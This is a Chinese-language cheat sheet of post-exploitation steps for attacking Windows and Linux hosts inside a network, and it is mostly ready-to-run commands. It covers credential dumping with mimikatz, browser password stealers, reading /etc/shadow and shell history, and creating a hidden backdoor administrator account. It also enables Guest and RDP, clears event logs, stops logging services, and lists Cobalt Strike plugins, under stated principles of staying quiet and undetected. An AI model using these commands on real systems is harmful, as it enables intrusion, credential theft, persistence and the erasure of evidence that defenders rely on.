内网攻击思路流程与信息收集

win信息收集

主机信息搜集

主机IP信息

ipconfig /all

主机路由信息

route print 

ARP缓存信息

arp -a 

DNS缓存信息

ipconfig /displaydns 

Host⽂件信息

type C:\Windows\System32\drivers\etc\hosts

端⼝连接信息

netstat -ano 

进程相关信息

tasklist /svc 

AV防护信息

wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduc

配置信息搜集

web信息

查看配置文件，获得数据库账号密码等
进一步横向、提权等

⽂档信息

列出所有这些后缀的文档

dir /a /s /b c:\*.xls
dir /a /s /b c:\*.doc

微信信息

dir /s /b c:\"WeChat Files" 

⽹络资产搜集

https://github.com/shadow1ng/fscan
https://github.com/lcvvvv/kscan
https://github.com/zhzyker/dismap

原则：

1. 安静
2. 不被发现
3. 尽量⽤正常的协议
4. 尽量⽤改造过的⼯具

密码凭证搜集

主机密码

logonpasswords
hashdump
mimikatz's sekurlsa::logonpasswords 

浏览器密码

https://github.com/QAX-A-Team/BrowserGhost
https://github.com/moonD4rk/HackBrowserData

⽂档密码

dir /a /s /b c:\*.xls
dir /a /s /b c:\*.doc
dir /a /s /b d:\*.xls
dir /a /s /b d:\*.doc

⽤户操作相关

当前⽤户

whoami 

在线⽤户

query user 

激活Guest

net user guest /active:yes
net user guest P@ssw0rd123
net localgroup administrators guest /add
net localgroup administrators

激活administrator

net user Administrator /active:yes
net user Administrator P@ssw0rd123

创建后⻔⽤户

net user test$ P@ssw0rd123 /add
net localgroup administrators test$ /add
net localgroup administrators

RDP操作相关

查看RDP端⼝

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStation
s\RDP-Tcp" /v PortNumber

开放RDP服务

reg add "HKLM\SYSTEM\CurrentControlSet\control\Terminal Server" /v fDenyTSC
onnections /d 0 /t REG_DWORD /f

开放RDP端⼝

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=
in localport=3389 action=allow

⽇志痕迹相关

wevtutil cl "windows powershell"
wevtutil cl "security"
wevtutil cl "system"
wevtutil cl "Application"

sc stop Schedule
sc stop wecsvc
sc stop eventlog

Linux信息收集

主机信息搜集

whoami ⽤户信息
uname -a 打印所有可⽤的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构（64位/32位）
hostname 系统主机名
lsb_release -a 发⾏版信息
cat /proc/version 内核信息
cat /etc/passwd
cat /etc/shadow
cat /etc/group
lastlog
last
⽹络信息搜集
ip addr s
ifconfig
netstat -anptl
进程信息搜集
ps -ef 
计划任务搜集
crontab -l
ls /etc/cron*
操作记录搜集
history
cat /root/.bash_history
web信息搜集
web路径
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/apache/php/php.ini
/bin/php.ini
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/php.ini
/etc/init.d/httpd
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/home/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/NetServer/bin/stable/apache/php.ini
/opt/www/conf/httpd.conf
/opt/xampp/etc/php.ini
/PHP/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/usr/lib/php.ini
/etc/nginx/nginx.conf
/usr/lib/php/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/usr/local/etc/php.ini
/usr/local/httpd/conf/httpd.conf
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/php5.ini
/usr/local/share/examples/php/php.ini
/usr/local/share/examples/php4/php.ini
/usr/local/Zend/etc/php.ini
/var/apache2/config.inc
/var/httpd/conf/httpd.conf
/var/httpd/conf/php.ini
/var/httpd/conf/php.ini
/var/local/www/conf/httpd.conf
/var/local/www/conf/php.ini
/var/www/conf/httpd.conf
/web/conf/php.ini
/www/conf/httpd.conf
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf

数据库路径

/etc/init.d/mysql
/etc/my.cnf
/etc/mysql/my.cnf
/etc/mysql/my.cnf
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/usr/local/mysql/bin/mysql
/usr/local/mysql/my.cnf
/usr/share/mysql/my.cnf

cs插件

巨⻰拉冬：
https://github.com/k8gege/Aggressor
taowu：
https://github.com/pandasec888/taowu-cobalt_strike